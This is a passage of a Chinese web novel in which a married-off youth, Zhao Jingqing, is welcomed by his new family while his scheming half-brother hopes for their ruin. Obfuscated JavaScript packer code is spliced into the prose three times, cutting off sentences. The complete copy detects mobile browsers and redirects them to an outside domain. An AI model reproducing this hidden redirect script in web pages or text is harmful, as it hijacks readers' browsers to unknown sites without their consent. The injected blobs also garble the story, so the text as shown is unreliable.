赵景清走近背篓,睁圆了眼睛,好多蛋,半背篓的蛋,最上面一层放了一半,赵景清把蛋放好,刚好放满一层,他又仔仔细细铺上草。 林翠娥煮好猪草,提到院子后喂猪,见鸡圈干干净净的,对赵景清更是满意,干活是个麻利的,也爱干净。 林翠娥一边喂猪一边想,之前看中景明,觉得他好,可昨儿那般作态,就知道哭,说得话也奇奇怪怪,实在不讨喜。 对景清好,一来是进了袁家的门,是袁家的人,二来林翠娥是个心软的人,见他可怜兮兮的想多照顾两分,反正也不废她多少劲。 如今处下来,林翠娥觉得景清性子更好,人也好相处,多了分真心实意的喜爱。 也是个可怜孩子,林翠娥暗叹。 农闲时事不多,地里有袁父侍弄,林翠娥喂完猪,又舀包谷碎拌草里去喂鸡。 赵景清见状,甚是疑惑,包谷可是填饱肚子的好东西,人都不够吃,怎么拿去喂鸡。 林翠娥解释道:“要鸡下蛋,得给鸡吃点好的。” 赵景清点点头,眸光清亮。 别人见了都说她浪费,林翠娥瞥了眼赵景清道:“不觉得浪费?” “不浪费,”赵景清声音不大,条理却清晰,“背篓一层放三十多个,能放六层,按一百八十个蛋算,半个月攒一背篓,一个月两背篓三百六十个,鸡蛋一文钱一个,能赚三百六十文。包谷粒十二文一斗,混着草喂鸡,一个月最多四斗就够了,能赚三百一十二文。只有赚的,没有浪费的。” 林翠娥惊喜,“你会算术,读过书吗?” 赵景清摇摇头,“没读过,在家里卖了五年豆腐,会算些简单的。” “听说你做的豆腐好吃,”林翠娥笑问,“等你身子养好了,做给我们尝尝?” 赵景清应声:“好。” 阳光此时才刺破浓郁的雾气,晒着暖融融的,林翠娥将屋里衣裳拿出来晒着,又喊赵景清进屋,给他量尺寸。 赵景清浑身僵硬不敢动,任由林翠娥比划。 “我这儿还有两块料子,你看看喜欢哪个颜色,我先给你做身新衣裳。”林翠娥记下尺寸,从柜子里拿出两卷布。 一卷是水绿的颜色,一卷是黄栌色,都是适合年轻小哥儿穿的颜色,赵景清想,应该是给袁星做衣裳的料子,又或者是之前给未过门的夫郞准备的。 赵景清喜欢身上水绿的坎肩,目光落在水绿的布料上,这件坎肩是袁星的,他应当喜欢这个颜色,赵景清挑了黄栌色,“娘,我喜欢这个。” “好,我给你做。”林翠娥把水绿的布放回去,“景清,会做针线活不?” 赵景清有问必答,“不会。” 林翠娥道:“我教你。” 说罢又叫袁星,叫了几声没应答,林翠娥气道:“这小皮猴又不知跑哪里去了,整日出去野,哪有小哥儿的样子。” 她念叨着,倒也没瞧出有多生气。 林翠娥便教赵景清做衣裳,怎么打版裁剪,仔细的紧,她原以为要教几遍,不曾想她动手示范一次,赵景清就做得有模有样。 裁剪好,林翠娥又教赵景清弹棉花,弹好的棉花整齐且松软,再缝进衣裳,这样做的冬衣暖和,却不臃肿。 赵景清话不多,林翠娥说什么他都听着,应上几声,学得专注又仔细,半上午就这么过去了。 林翠娥看赵景清的目光是再满意不过了,“你手巧,学东西还快,教你我心气都顺了,你不知道,前头教星儿做你身上这坎肩,那手笨的,气得我饭都吃不下。” 赵景清得了夸赞,面上带了几分羞涩和不好意思,“星儿正是活泼好动的年纪,静不下来,大些就好了。” “你说得对,”林翠娥道,“走,做饭去。” 中午吃的是早上袁牧沥出来蒸的甑子饭,和办酒剩下的菜。袁家娶夫郎下了血本,席面丰盛,剩菜给走得近的几家亲戚和嫁出去的袁月分了,也还有许多,幸而腊月里菜能多放些时日,不然可能已经坏了。 鸡汤炖了一上午,撇掉油脂,汤色清亮,赵景清独得了一碗,碗中放了个鸡腿,赵景清受宠若惊,内心忐忑不安。 林翠娥催促,“景清快喝了,待会儿凉了不好喝。” 赵景清喝了一口,鸡汤醇厚鲜美,暖到了他心里。 白米饭喷香弹牙,有肉有菜,赵景清吃了半碗饭,又吃了两块红烧肉和许多菜,满足极了。 袁父离不开他那杆烟枪,遛屋后头抽叶子烟,袁星也是个坐不住的,吃完饭洗好碗就要溜出去玩,被林翠娥逮了个正着,拘在身边学做衣裳。 今儿天气好,林翠娥端了针线篓子坐屋檐下,教赵景 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林翠娥拉着赵景清小声道:“你林阿叔性子还成,心眼儿也不坏,就是大嘴巴,有啥事儿让他知道,没两天全村人都知道了,和他说话留个心眼,别啥都抖露给他。” “他爹那辈兄弟三个,他行二,早早就分家了,上头爹娘跟着大哥家过,咱家和老三家每年孝敬口粮,不住在一个屋檐下,处得还成。村里亲戚多,后头慢慢给你讲。”林翠娥边缝衣裳边道。 赵景清点点头记下。 待落日西斜,林翠娥吆喝着收针线篓子时,属于赵景清的新衣已初具雏形,就差将棉花缝进去。赵景清手里的裤子,两条裤管缝好,裤脚没收边。 明儿上午就能做好,能穿上新衣裳了,赵景清心底说不出的雀跃,他要有新衣裳了,能穿新衣过年。 林翠娥做饭,赵景清打下手,吃饭前,赵景清又得了一碗鸡汤。 吃完晚饭要喂猪和鸡,晚上袁父在家,这事儿没让人搭手,他自个去做了。 赵景清烧水洗漱,喝药擦手,再躺入软乎暖和的被窝,嘴角盈着浅淡的笑容。 肚子是饱的,身体也暖和,真好。 躺了会儿,他又翻身将枕头下的荷包拿出来,晃动着叮叮当当响,是铜板和银子碰撞的声音。 他手里也有钱了。 短短两日的接触,赵景清知道,爹娘人好,大姑子小叔子人好,袁牧……他人也好。 进入袁家时悬着的心,缓缓落到实处。 次日,村子里河边的洗衣坝上,三三两两妇人夫郞聚在一处洗衣闲聊。 赵景明端着一盆臭衣裳走来,面色不愉,活像有人欠了他几百两银子不还,‘砰’一声把盆摔地上,蹲下身拿起捣衣棍洗衣。 死老太婆,前天还精神的能和他娘对打,昨天就躺床上不停呻唤,这疼那疼,这不能干那不能干。还特会使唤人,一会儿要吃饭洗脸,一会儿要拉屎拉尿,都要伺候着。 这还不算,洗衣做饭喂猪挖地松土,里里外外的事儿都支使他去干,哪有这么使唤新夫郞的?! 不说在家当小哥儿,就是上辈子嫁到袁家多年,他也没干过这么伺候人的事儿! 林阿叔搓着衣裳,瞥见赵景明的身影,打量一眼回头和身旁的夫郞笑道:“昨儿去我二嫂嫂家还碗,又见着她在做新衣裳。” “咋又做衣裳,袁大壮娶夫郞花了不少银子吧,还有余钱做新衣裳呢?” “他家里殷实着嘞,娶个夫郞掏不空。新夫郞进门,又快过年了,合该做件新衣裳,你也是知道我二嫂嫂的手艺,她做的衣裳一等一的好看,都能比上镇子里绣娘做的了,我都想厚着脸皮找她做一件。”林阿叔拔高声音,“我二嫂嫂人好,对新夫郞也好,不单给做新衣裳,之前做好的新衣裳都给他穿上了。也没使唤他干活,昨儿我和二嫂嫂说了一下午的话,景清听了一下午,不过人也识趣儿,端了水出来,不时添一点,喝嘴里总是温热的。这福气啊,还是得给惜福的人享。” 赵景明绷直了嘴角,捣衣棍敲得‘梆梆梆’响。 6. 006 两个长舌夫,嘴皮子一碰就知道说人长短,还当着他的面说这些,赵景明扭头,瞪向林阿叔。 林阿叔笑眯眯瞥他一眼,挑衅似的继续说。 前头他帮二嫂嫂参谋娶新夫郞,对赵景明亦是满意的,前日接亲换嫁的事儿出来,林阿叔多吃了几十年干饭,还能有啥不明白的。 不想嫁给袁牧,又不想退袁家聘礼,搞出这档子事出来,心子都是脏的。 赵景明气急,他上辈子见过林阿叔骂人干仗,他知道自己骂不赢打不赢,不敢开口也不敢动手,只敢瞪他几眼,憋着气‘梆梆梆’捣衣。 乐吧,就乐吧,也乐不了两天了。 昨天他远远瞧见袁牧进山,过两天摔断腿出来,看他们还怎么乐得出来。做新衣,银子都花去给他治腿,田地变卖了,饭都吃不上饥一顿饱一顿的,还做新衣。 赵景清也享受不了几天,就当是上断头台前的饱饭吧。 这么一想,赵景明心里火气散去大半。 赵景清的未来一眼能望到头,他的未来可光明灿烂,他是要当大官夫人的,穿金戴银,住大宅子,出入坐马车,还有丫鬟伺候。 死老太婆虽然折腾人,可裴西安向着他,宽慰他,还帮忙做活。 赵景清心里甜滋滋的,没让裴西安做活,他下头有三个弟弟,够使唤了。老二老三除了吃饭逮不着人,老四树儿可在家里,树儿性子比赵景清还软,还不是由他圆搓扁捏。 再苦再累也就这五年,等裴西安一举中第,这日子可就是一个天一个地,赵景明捣衣,眉眼飞扬。 林阿叔:“……” 被人背后蛐蛐,还能笑得出来,疯了不成。 河面氤氲着雾气,似在流动游走。 袁牧就着水吃了块凉透的包谷饼,在河里洗了洗手,站起身吹了个口哨,两头健壮的大狗从树丛中窜出,厚实的毛发被清晨的露水打湿成一缕一缕的。 “走了。”袁牧往更山林更深处走,两条大狗或近或远的跟着他。 袁牧一路检查前些日子设置的陷阱机关,收获不少,一头垂死挣扎的狍子,一头奄奄一息的野猪崽子。 猪崽子陷阱旁是凌乱的脚印,想来母猪在这儿徘徊了许久,袁牧跳下去将野猪崽子捆上来,转移了地方。 都是活的,猪崽子不大,可以自家吃,狍子卖镇子里酒楼,野味能卖上价,娶亲花了不少银子,有这笔进项能过个好年,年后日子也能宽松许多。 景清也能多补补身子,面黄肌瘦的,风一吹就能卷跑,得多补补。 想到他,袁牧不由想到离开前给他银子时,他看自己时水光莹润的双目,叫他当心,盼着他早日平安归家,从前爹娘阿姐担心他,现在又多了一个人惦记他,想想挺不错的。 袁牧把狍子和野猪崽子藏好,并不打算下山,他想打几只兔子,最好是白毛兔子,皮毛没有杂色,和家里之前攒的那些兔子皮能凑成一件斗篷,才能卖上价。 抬头看了眼天色,明日高悬,驱散了山林里的浓雾,山风打在身上,凉意浸骨,袁牧却是干劲十足,他循着地上野物的活动痕迹,往山林更深处走去。 山下袁家。 今儿林翠娥仍是安排赵景清捡鸡蛋,袁星扫地,不多时家里家外便都收拾好了。林翠娥拿出针线篓子,继续做昨儿没完成的新衣裳。 袁星见状便想遛,他不想学做衣裳,一坐就是半天,坐得腰疼屁股疼,脖子佝偻的难受,眼睛也难受,袁星站在墙角,不动声色往屋子后头挪。 赵景清坐在林翠娥身旁,看看垂着眼皮理线,好似好无所觉的林翠娥,又看看袁星,就见袁星对他摆手,赵景清抿着嘴角不说话。 希望就在眼前,袁星即将转入屋子拐角溜走,就听林翠娥唤了声,“星儿过来。” “……”袁星吓得差点跳起来,蔫头耷脑走到林翠娥身旁,端小板凳坐下。 赵景清眼里闪过笑意,他们母子真好玩。 “你哪像个哥儿,就是个皮猴儿,这不学那不学,就知道出门玩。”林翠娥叨叨几句,教两人给裤脚收边,“从这下针,穿过来再回一针,缝完把这根线一扯,线就藏进去了。” 她放缓速度示范了几针,“你两试试。” 赵景清接过针线,下了几针,虽慢了些但都扎对了,他抬头看向林翠娥,双眸中带有询问的意味。 林翠娥笑眯眯点头,“对,是这样的。” 语毕,她转向袁星。 袁星拿着针如临大敌,抿着嘴角下针,扎一针瞥林翠娥一眼。 “……”林翠娥无奈,等他下针完才开口,“都是对的,不错。” 袁星皱成一团的小脸舒展,露出个笑模样。 “你两一人收一条裤腿。”林翠娥安排,低头缝衣裳,她速度快,把棉花缝进衣裳,一件冬衣便做好了。 林翠娥转动脖子,咔咔两声,又起来走了走,疲乏的身体松快了些。 赵景清和袁星头挨着头,赵景清小声说:“你小指捏着这,就不会散了。” 袁星点头照做,缝了两针,“真的诶,整齐了好多。” 林翠娥又坐回去,理了理裤腰,给裤腰收边,待她缝好,赵景清和袁星也给裤脚收好了边,林翠娥拿手里检查。 赵景清直直看着,眼里跃动着期待与喜悦的光芒,他要有新衣裳了。 林翠娥把衣裳裤子叠一起,“景清,你拿回屋试试合不合身。” 赵景清眼睛亮晶晶的,“好。” 赵景清抱着新衣裳,回到屋子里他换上新衣裳,整理好衣襟,抚平袖子,掌心轻轻拂过新衣,指尖微微颤动。 普通的棉布,寻常的样式,在赵家盼了多年都不曾拥有,到了袁家,不过一天半便给他做了一身。赵景清眸子里带了湿意,心底越发觉得林翠娥好,袁家人好。 “景清哥哥,换好衣裳没?”袁星在窗外头喊。 赵景清抹了抹眼角,回答的声音发紧,“换好了,这就出来。” 推开门迈入院子,赵景清扣着手,拘谨地看向林翠娥和袁星,林翠娥盈着笑,“穿着好看,这颜色衬你。” 林翠娥又让他抬胳膊、蹲下,“紧不紧?” 赵景清摇摇头,“不紧,很合适。” 袁星围着赵景清转,趁机提出要求,“娘,我也要这样的,不要大衣裳。” “就你想法多。”林翠娥瞪他一眼,“你正长个子,新衣裳穿一年不穿了?” 袁星耍赖,“娘,我不想要大衣裳嘛。” 林翠娥:“……”她手痒痒。 赵景清抿了抿嘴角,他答应袁星要帮他,赵景清适时开口道:“娘,我之前在家里,看隔壁大娘给孙子做衣裳,先做大余量,再把袖子和衣摆藏回去改短,第二年放出来,穿着不会太大,后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不过一会儿的功夫,风便吹得大了,太阳隐入云层中,看着要变天了。 林翠娥坐在屋檐下,抬头盯着天色看了好一会儿,眉头微微蹙起,萦上愁绪,“景清,去收些菜放厨房。” “好。”赵景清进厨房拿菜篓子,直接从厨房后门进菜园子。 园子里菜多,赵景清每样都收了些,规整得摆放在一处,他洗手走出厨房,天色又沉了许多,风声猎猎。 冷意扑向赵景清,穿着新衣的身上却是暖和的。 林翠娥坐在堂屋门口,拆着烂衣裳,只是拆一会儿便忍不住走神,要变天了,袁牧还在山里,不管是下雨还是下雪,都让袁牧有得苦吃。 赵景清嗅着风里的冷意,脑海中浮现袁牧离家的背影,心底压上一块巨石,袁牧还在山里。 林翠娥拆完烂衣裳,教赵景清调浆糊粘布做鞋底,不难,只是耗时间。 布粘木板上,要粘三五层,布之间平整且不能有气泡,林翠娥心里惦记着袁牧,话说得少,手上活计越做越快,没让赵景清上手。 粘好后要等浆糊干透,赵景清把木板搬墙角阴干,起身便见窗外雪花飘扬而下。 下雪了。 片刻后,鹅毛大雪漫天飞,院子里便积了厚厚一层雪。 7. 007 放眼望去,天地一色。 林翠娥站在堂屋门口,望向远处透着点点翠绿的山峦,袁牧就在那座山林中,林翠娥眉头收紧,愁容满面。 赵景清站在她身后,抿着嘴角,目光从林翠娥移向群山,袁家人待他好,赵景清也盼着袁家人好,盼着袁牧能早些平安回来。 林翠娥没在堂屋门口站多久,去厨房剁猪草、拌鸡食,做完这些又忙着准备晚饭,不让自己闲下来。 天色不好,屋子里昏暗,早点做饭吃完睡觉,免得浪费煤油。 鸡汤还有最后一碗,热好林翠娥便让赵景清端去喝。 赵景清坐在灶台后,捧着碗小口小口喝着,听见林翠娥问:“景清,药快吃完了吧?身上好些没?” “嗯,明天中午吃完,”赵景清回答,“我好多了,身上不难受,也有力气了。” 这两天又是吃药,又是喝鸡汤,饭菜吃食也足,顿顿饭都能吃饱肚子,还只让他做点轻省的事儿,赵景清想,再养不好,白瞎吃那么多好东西。 “那就好,药吃完了咱再去让七叔公给你把脉瞅瞅,”林翠娥划拉着铲子,免得菜糊锅,“七叔公说你身上的药下得重,咱好好养,一次就养好,你现在还小,有亏空补得起来。” 赵景清捧着碗,抬头越过灶台看向忙碌的林翠娥,嗓子发紧,“嗯,谢谢娘。” “一家人说什么谢,这话我可不爱听。”林翠娥道,模样是笑着,却不似往常般轻松。 用饭之际,堂屋里氛围凝滞,寻常袁星小嘴不停,啥都能说两句,今儿看着林翠娥的脸色,只敢默默扒饭。 一顿饭吃得压抑又沉默,吃完饭赵景清收拾碗筷,袁星极有眼力见的帮忙,袁父起身拿他烟杆子,往门口走。 “一天就晓得抽你那杆子烟,不抽你过不到?”林翠娥语气冲人。 “……我去喂猪。”袁父放下烟杆子,往厨房去,不一会儿肩担一挑猪食从堂屋前路过。 袁星扯了扯赵景清,两个人去厨房洗碗。 袁星叹气,“二哥快回来吧。” 赵景清想,雪快停下,袁牧快平安回来吧。 —— 裴家。 “景明!景明!”裴母声音从屋内响起,“饭做好没?” 她嗓门大,住在堂屋左边厢房,赵景明在对角的厨房都能听清清楚楚,赵景明眼中闪过不耐,死老太婆,成天到晚就会使唤人,要不是为了五年后的好日子,这死老太婆他一天也不想伺候。 “快好了!”赵景明朗声回,声音清脆听不出火气,转头催小树儿道,“手脚麻利点,你娘在催。” 灶台高,小树儿年岁小人也瘦小,只比灶台高一个头,他脚底下踩着板凳,闻言只能更用力挥铲子炒菜。 天擦黑,屋内黑黢黢看不见,赵景明点了煤油灯,摆在堂屋桌子上。一盆红薯稀饭一碟盐菜端上桌,旁边摞了六个碗。 赵景明一边盛饭,一边喊人:“西安,老二、老三吃饭了。” 没人出来,赵景明推开房门,靠墙的桌边,裴西安正挑灯读书,神情专注,赵景明看了会儿,轻声唤道:“西安,吃饭了,吃完再用功。” 裴西安这才发现赵景明,从书中抬头,“这就来。” 赵景明分饭,摆着裴西安身前的碗最扎实,全是米,没有红薯没有汤,赵景明道:“夫君快吃,我去给娘送饭。” 裴西安颔首,“辛苦你了。” 赵景明心里吃了蜜一般,甜滋滋的,端着饭菜推开裴母屋子的门,难闻的潮湿闷臭夹杂着尿罐的骚味直扑面门,赵景明几欲作呕。 “娘,吃饭了。”借着堂屋微弱的烛光,赵景明把饭放在裴母床头。 裴母坐起身来,拿起碗筷,喝了一口,“太稀了,下次舀稠点,红薯也少点,我年龄大吃了肚子不舒服。咋只有炒咸菜,没其他菜了?” 菜地里稀稀拉拉,那么点菜,炒几盘就没了,不得省着吃,还在这挑挑拣拣,赵景明道:“晚上将就吃,明儿中午多炒两个菜。” 裴母没多说,转而道:“做个肉。” “……”赵景明愣了下,“娘,家里没肉。” 裴母:“去镇上买两斤,西安读书用功,辛苦得紧得补一补,你两小叔子也是长身体的时候,肚子里得有油水。” “娘,那钱……”赵景明刚开口,就被裴母打断,只听裴母说,“你管家看着办就行,家里男人你得照顾好,猪喂了没,这两天喂好点,年前杀了家里留个十斤,剩下的都卖了,西安读书要钱,都从这里出呢。早些时日我就想杀,人杀猪匠从我这刮不着油水,拖着不来杀,我就怕给喂瘦了,少几斤是几十个铜板,能给西安买好些纸笔。” 怕瘦了不去喂,成天在瘫床上叫唤,还好意思说,赵景清道:“还没喂,等会儿吃完饭就去喂。” 裴母吃了块红薯,噎得慌,赶紧喝了两口米汤,“外头燃了煤油灯?油贵,别总用啊。对了,尿罐满了,给我倒了啊。” 昏暗的房间内,赵景明面色变了又变,才忍着恶心道:“好,等会儿来倒,我先吃饭。”他怕倒了饭都吃不下。 裴母不干,“饭等会儿吃,你吃完我都睡了,进来出去吵吵嚷嚷的,你先倒了回来刚好收碗,别站着啊,快去快去。” 赵景明气得涨红了脸,胸膛不断起伏,这才往屋子角落走去,尿罐子满满当当,味道直冲头皮,赵景明屏住呼吸,端起来往外走。 若不是裴西安在堂屋内,若不是为了五年后的好日子,赵景明说什么都不会做这事儿,前头都叫小树儿去倒,今儿裴西安在,要使唤人也不好当着他面使唤。 赵景明快去快回,收了裴母吃干净的碗,坐到裴西安身边,看向他的双眸中诉说着委屈。 裴西安拿起筷子递到他手边,佛去他肩膀头发上的雪花,温声道:“快吃饭吧。” 碗里汤汤水水,冒出两块红薯,连吃两天,碗里米越来越少,汤和红薯越来越多,赵景明抿了抿嘴角,肚子里没油水潮得慌。 赵景明盘算着,上辈子受尽苦楚,没享半天福,这辈子苦五年,换下半生享福,怎么想都合算。再者说,裴西安待他好,日后享福要倚仗裴西安,应付着伺候他老娘也不是不行。 心里有了计较,赵景明朝裴西安笑了笑,眼睛弯弯,接过筷子夹咸菜下稀饭。 裴老二裴老三对视一眼,裴老三开口,“明哥,刚我听娘说要买肉吃,啥时候买?” 赵景明夹菜的手顿住,“娘没给钱。” 裴老三笑咪咪道:“明哥你管家,钱都在你手里,娘咋给你?” 赵景明抬头看向裴老三,十三四岁的小子,黑瘦黑瘦的,嘴角带着坏笑,和镇里的破皮无赖如出一辙,赵景明眉头紧促,这话啥意思,惦记上他手里的银子了? 好歹多活了十几年,赵景明哪能让一个毛都没长齐的小子站他头上拉屎,赵景明‘啪’一声放下碗筷,沉下脸,“娘没给我银子,我手里没钱。” 裴老三嘴巴张开还要说,裴西安瞥他一眼,“闭嘴。” 又温声安抚赵景明,“老三说话不过脑子,你别往心里去。” 赵景明心里舒坦了,这家人不行,换嫁前他就知道,他只图裴西安,只要裴西安站他就好。 吃完饭,摸黑喂猪,赵景明力气不大,一次只能提半桶猪食,来回四次才倒满猪槽。木桶放一旁,赵景明站屋檐下撑着墙壁喘气,看着飘扬半日不见小的鹅毛大雪,眼中盛满恶意。 这雪啊,下大点好,下大点袁牧才会和上辈子一样摔断腿,医不好治不好,败光家底,最后仍然成为个跛子,成为个废人。 袁父会为了给袁牧攒钱治腿,去县里做工累死。 几经打击,林翠娥承受不住哭坏了眼睛,又强撑着给人做衣裳赚钱,熬瞎了眼,啥都要人伺候。 袁星熬成了老哥儿,嫁不出去,留在家里吃白饭。袁月偏帮娘家,在夫家抬不起头来,备受婆母白眼辱骂。 家破人亡,穷困潦倒,袁家就是个烂泥沼,陷进去就出不来。 赵景清穿新衣裳,是第一件,也是最后一件。 他的日子只苦五年,袁家的日子可得苦一辈子。 赵景明这般想着,露出笑意,也不觉得裴家的日子有多苦了。 雪下了整夜,后半夜下得小了,直至凌晨天际泛白,雪才停歇下来。 赵景清推开门,目光所及白茫茫一片,院子地上堆了厚厚一层积雪,踩上去得没过脚踝。寒风凛冽,吹在脸上似针刺进肉里,身上穿着新衣裳,棉花厚实保暖,将寒风挡在外,身子暖暖和和的,赵景清摸了摸衣摆,欢喜得紧。 隔壁连着堂屋的东厢房响起林翠娥的声音,“我说不同意袁牧进山,你倒好,不和我一起劝他,还赞成他进山得很,现在好了,大雪封山。不知道袁牧现在咋样,袁老二我话给你放这,袁牧平安回来就算,有个万一我和你没完。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15779756|174790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“翠娥,袁牧十岁就开始和我进山,山上有猎户的山洞和茅屋,下雪他知道找地方躲,你放宽心。” “这雪恁大……” 东厢房内压低的争吵声还在继续,赵景清神思飘远,听不进耳朵里,他看向远处已被白雪覆盖,透不出一丝一缕翠绿的群山,心底压着的石头又重了几分。 雪停了,赵景清祈祷,老天爷仁慈些,不要再下雪了,保佑袁牧平安归来。 袁父推门出来,见赵景清站在屋檐下,顿了瞬拿起扫把,“景清,外头冷,你回屋坐着,我先把雪扫了。” 赵景清回神,“爹,我来帮你。” 袁父已经开扫了,“不用,你药还没吃完,当心冷着了身上不舒服,回屋去吧。” 赵景清回屋坐着,不时往门外看一眼,不多会儿袁父就把去厨房和出院子的道清出来了。 看见林翠娥去厨房的背影,赵景清忙起身去帮忙。赵景清不动声色看了眼林翠娥的神色,不似往常带笑,也不似刚和袁父吵架拌嘴完,面色平静。 吃完早饭喝完药,赵景清坐灶膛前烧火煮猪食,林翠娥拌鸡食去喂了回来,猪食煮好了。 “袁老二,来挑去喂猪!”林翠娥喊完人,笑着对赵景清说,“今儿捡了十八个鸡蛋。” 赵景清也高兴,“娘喂得好,吃得好才攒劲下蛋。” “办席的肉菜吃完了,没得荤腥,中午给你添个鸡蛋,糖水蛋行不行?”林翠娥说着,捡蛋往背篓里放。 赵景清道:“娘,不用添了,我身体好多了,鸡蛋你攒着卖钱。” “那么多蛋,你一天吃一个还是吃得起,少不了几个钱,”林翠娥铺好草放完鸡蛋站起来,“该舍得的舍得,该节俭的节俭,事关身体就得舍得。糖水蛋吃不吃?” 赵景清听进去了,“吃!” 林翠娥:“今天好冷,去拿两个火兜儿来,铲木炭烤火,把昨天糊的鞋底布也烤一烤,这天气要阴干不晓得要多久。” “好。”赵景清找来火兜儿,灶膛里铲了木炭放进去,盖上一层材火灰。 堂屋内,林翠娥摆上两张长板凳,把粘有鞋底布的木板架上去,赵景清提来火兜儿放下面烤着。 端两个小板凳,坐旁边顺便烤火,闲话家长,林翠娥把村里的事儿挑着重要的讲给赵景清听,不说都能记住,起码得有个映像。 袁星赖床这时才起来,才冒个头就被林翠娥逮住,说了两句放过他,“早饭在锅里温着,自己去吃。” 袁星立即跑了。 许是老天爷听见赵景清的祈求,上午没下雪,天色渐好。 中午,赵景清得了碗糖水蛋,吃独食不甚好意思,想着分一半给袁星吃,就见袁星也端来了一碗。 糖水蛋是用红糖煮的,里头放了两颗红枣,水甜滋滋的,蛋也甜甜的,暖到胃里,甜到心里。 吃完午饭,天又亮堂了些,瞧着下午不会下雪。 林翠娥看了许久天色,心里松快两分,鞋底布烤了一上午已经干透,林翠娥回头叫赵景清量脚长,下午做鞋子。 冬天鞋子得厚实些,林翠娥打算给赵景清做一双棉鞋,一双兔皮鞋。皮子是袁牧猎的杂毛兔,花色杂卖不上价,鞣制好了自家人用,做鞋子做坎肩的,暖和极了。 林翠娥教赵景清裁鞋底,裁鞋面布片,纳鞋底。做鞋底费劲,折腾小半天才纳好一只。 亮堂的天色沉了下来,林翠娥不时看出去,针扎进指尖,疼得她嘶了声。 赵景清面露忧色,“娘?” “没事儿。”林翠娥抹掉指尖的血珠,静不下心做鞋子,索性时间不早了,该做饭了,“鞋子明儿再做。” 袁父坐在屋檐下,仰头看着天色,眉头收紧,不复之前淡定。 林翠娥路过他,瞪他一眼,没给个好脸色,径直进了厨房。 入夜,赵景清躺在床上,翻来覆去睡不着,想着担忧着急的爹娘,想着在山里的袁牧,心绪繁杂。 若袁牧出事,爹娘怎么办?娘对他那么好,袁牧出事娘怎么受得住……呸呸呸,不能这般想,袁牧一定会没事,一定会平安回来。 半梦半醒间,赵景清听见两声狗叫。 院里似乎有动静,啪嗒啪嗒的,赵景清蓦地惊醒,从床上坐起身看向门外的方向。 遭贼了?赵景清心跳到嗓子眼。 门被敲响,传来说话声,“景清,睡了没?” 是袁牧的声音。 8. 008 袁牧?袁牧回来了! “没睡,来了。”赵景清掀开被子下床,踩上鞋子,衣裳都来不及披,摸黑几步走到门口,打开门闩。 雪色明亮,隐约能看见袁牧疲惫的面容,整个人散发着冷意,寒风吹拂,赵景清只着单薄的里衣,他打了个颤,回神让开半个身子,让袁牧进屋。 “还没睡?”袁牧把门关上,打开火折子一吹,火苗点燃桌上煤油灯,解开盘扣脱衣裳,“快去睡吧,我自个儿收拾。” 鬼使神差敲门,袁牧正懊恼,寻思着这么晚了人肯定已经睡着,干脆翻窗进屋得了,没想到竟有人给他开门。 烛光摇曳,赵景清这才看清袁牧脱下的衣裳被雪水洇透,湿哒哒地搭在板凳上。 袁牧脱掉里衣赤裸上半身,赵景清转身穿上衣裳,“不睡了,我去给你烧水,弄点吃的。” 边走边扣上衣襟盘扣,不待袁牧说话,赵景清推门而出。掩上门,站在门口,赵景清看向隔壁爹娘的屋子,第一个念头就是想敲门告诉娘,袁牧平安回来了。 然现在夜深,娘白日里担心袁牧,怕闲下来会胡思乱想,做事忙活了一天,已经很累了。最终理智占了上风,赵景清决定不打扰爹娘,叫他们晚上好生睡觉,明儿一早告知他们这个好消息。 赵景清绕开栓柴房屋檐下的两条大狗,进入厨房。他手脚麻利,生火烧水,又找出老姜切丝,煮了一大碗姜汤。 姜汤趁热喝才好,赵景清端上碗走出厨房,见袁牧已经换好衣裳,站在屋檐下,借着屋内微弱的烛光整理检查东西,好像是他背出去的箭矢和刀,赵景清声音不大,“姜汤煮好了,你趁热喝。” 袁牧放下豁口的弯刀,大步上前端过赵景清手里的汤碗,“好。” 赵景清回身进厨房,袁牧也端着碗进来,径直坐到灶膛前,喝了两口姜汤,“我来烧火,顺便烤火,这两天在山上可冻死人,还好收获不错。” “你猎到些啥东西?”赵景清问,舀出晚上吃剩下的米饭,想了想,转身去角落背篼里拿出两个鸡蛋,寻思着给袁牧炒份蛋炒饭。 袁牧道:“一只小野猪崽,一只狍子,还都是活的,还端了一窝灰兔子,可惜不是白兔子,不然能和之前攒的皮子一起卖。不过有灰兔皮也挺好,虽然不如白兔子价贵,但也能小赚一笔。还猎到一只白狐狸,剥了皮带回来,等鞣制好了卖出去,至少赚二两银子。若狐狸皮能攒起来做个斗篷之类的大件,更是能卖上价,狐狸狡猾得很,极其难猎,更别说是少见的白狐,可遇不可求。” 在他徐徐道来的声音中,赵景清打散鸡蛋下锅,又倒入米饭搅和拌匀裹上蛋液,翻炒几下米粒金黄,颗颗分明,再撒上一点盐入味,盛出装入海碗中,冒出个尖儿来。 “你是咋猎到的?”赵景清好奇问,转身拿起一把小白菜,打算再炒个青菜。 “别忙活了,我抓点泡菜下饭就成。”袁牧阻止道,起身放下喝空的姜汤碗,抽双筷子打开泡菜坛子搛泡菜,“说来挺巧,还得谢谢昨儿那场雪,它走过地上留下一串脚印,我看出是狐狸的,想着碰碰运气,没成想是白狐狸。我蹲了它一天一夜,今儿天快黑才逮到它。” 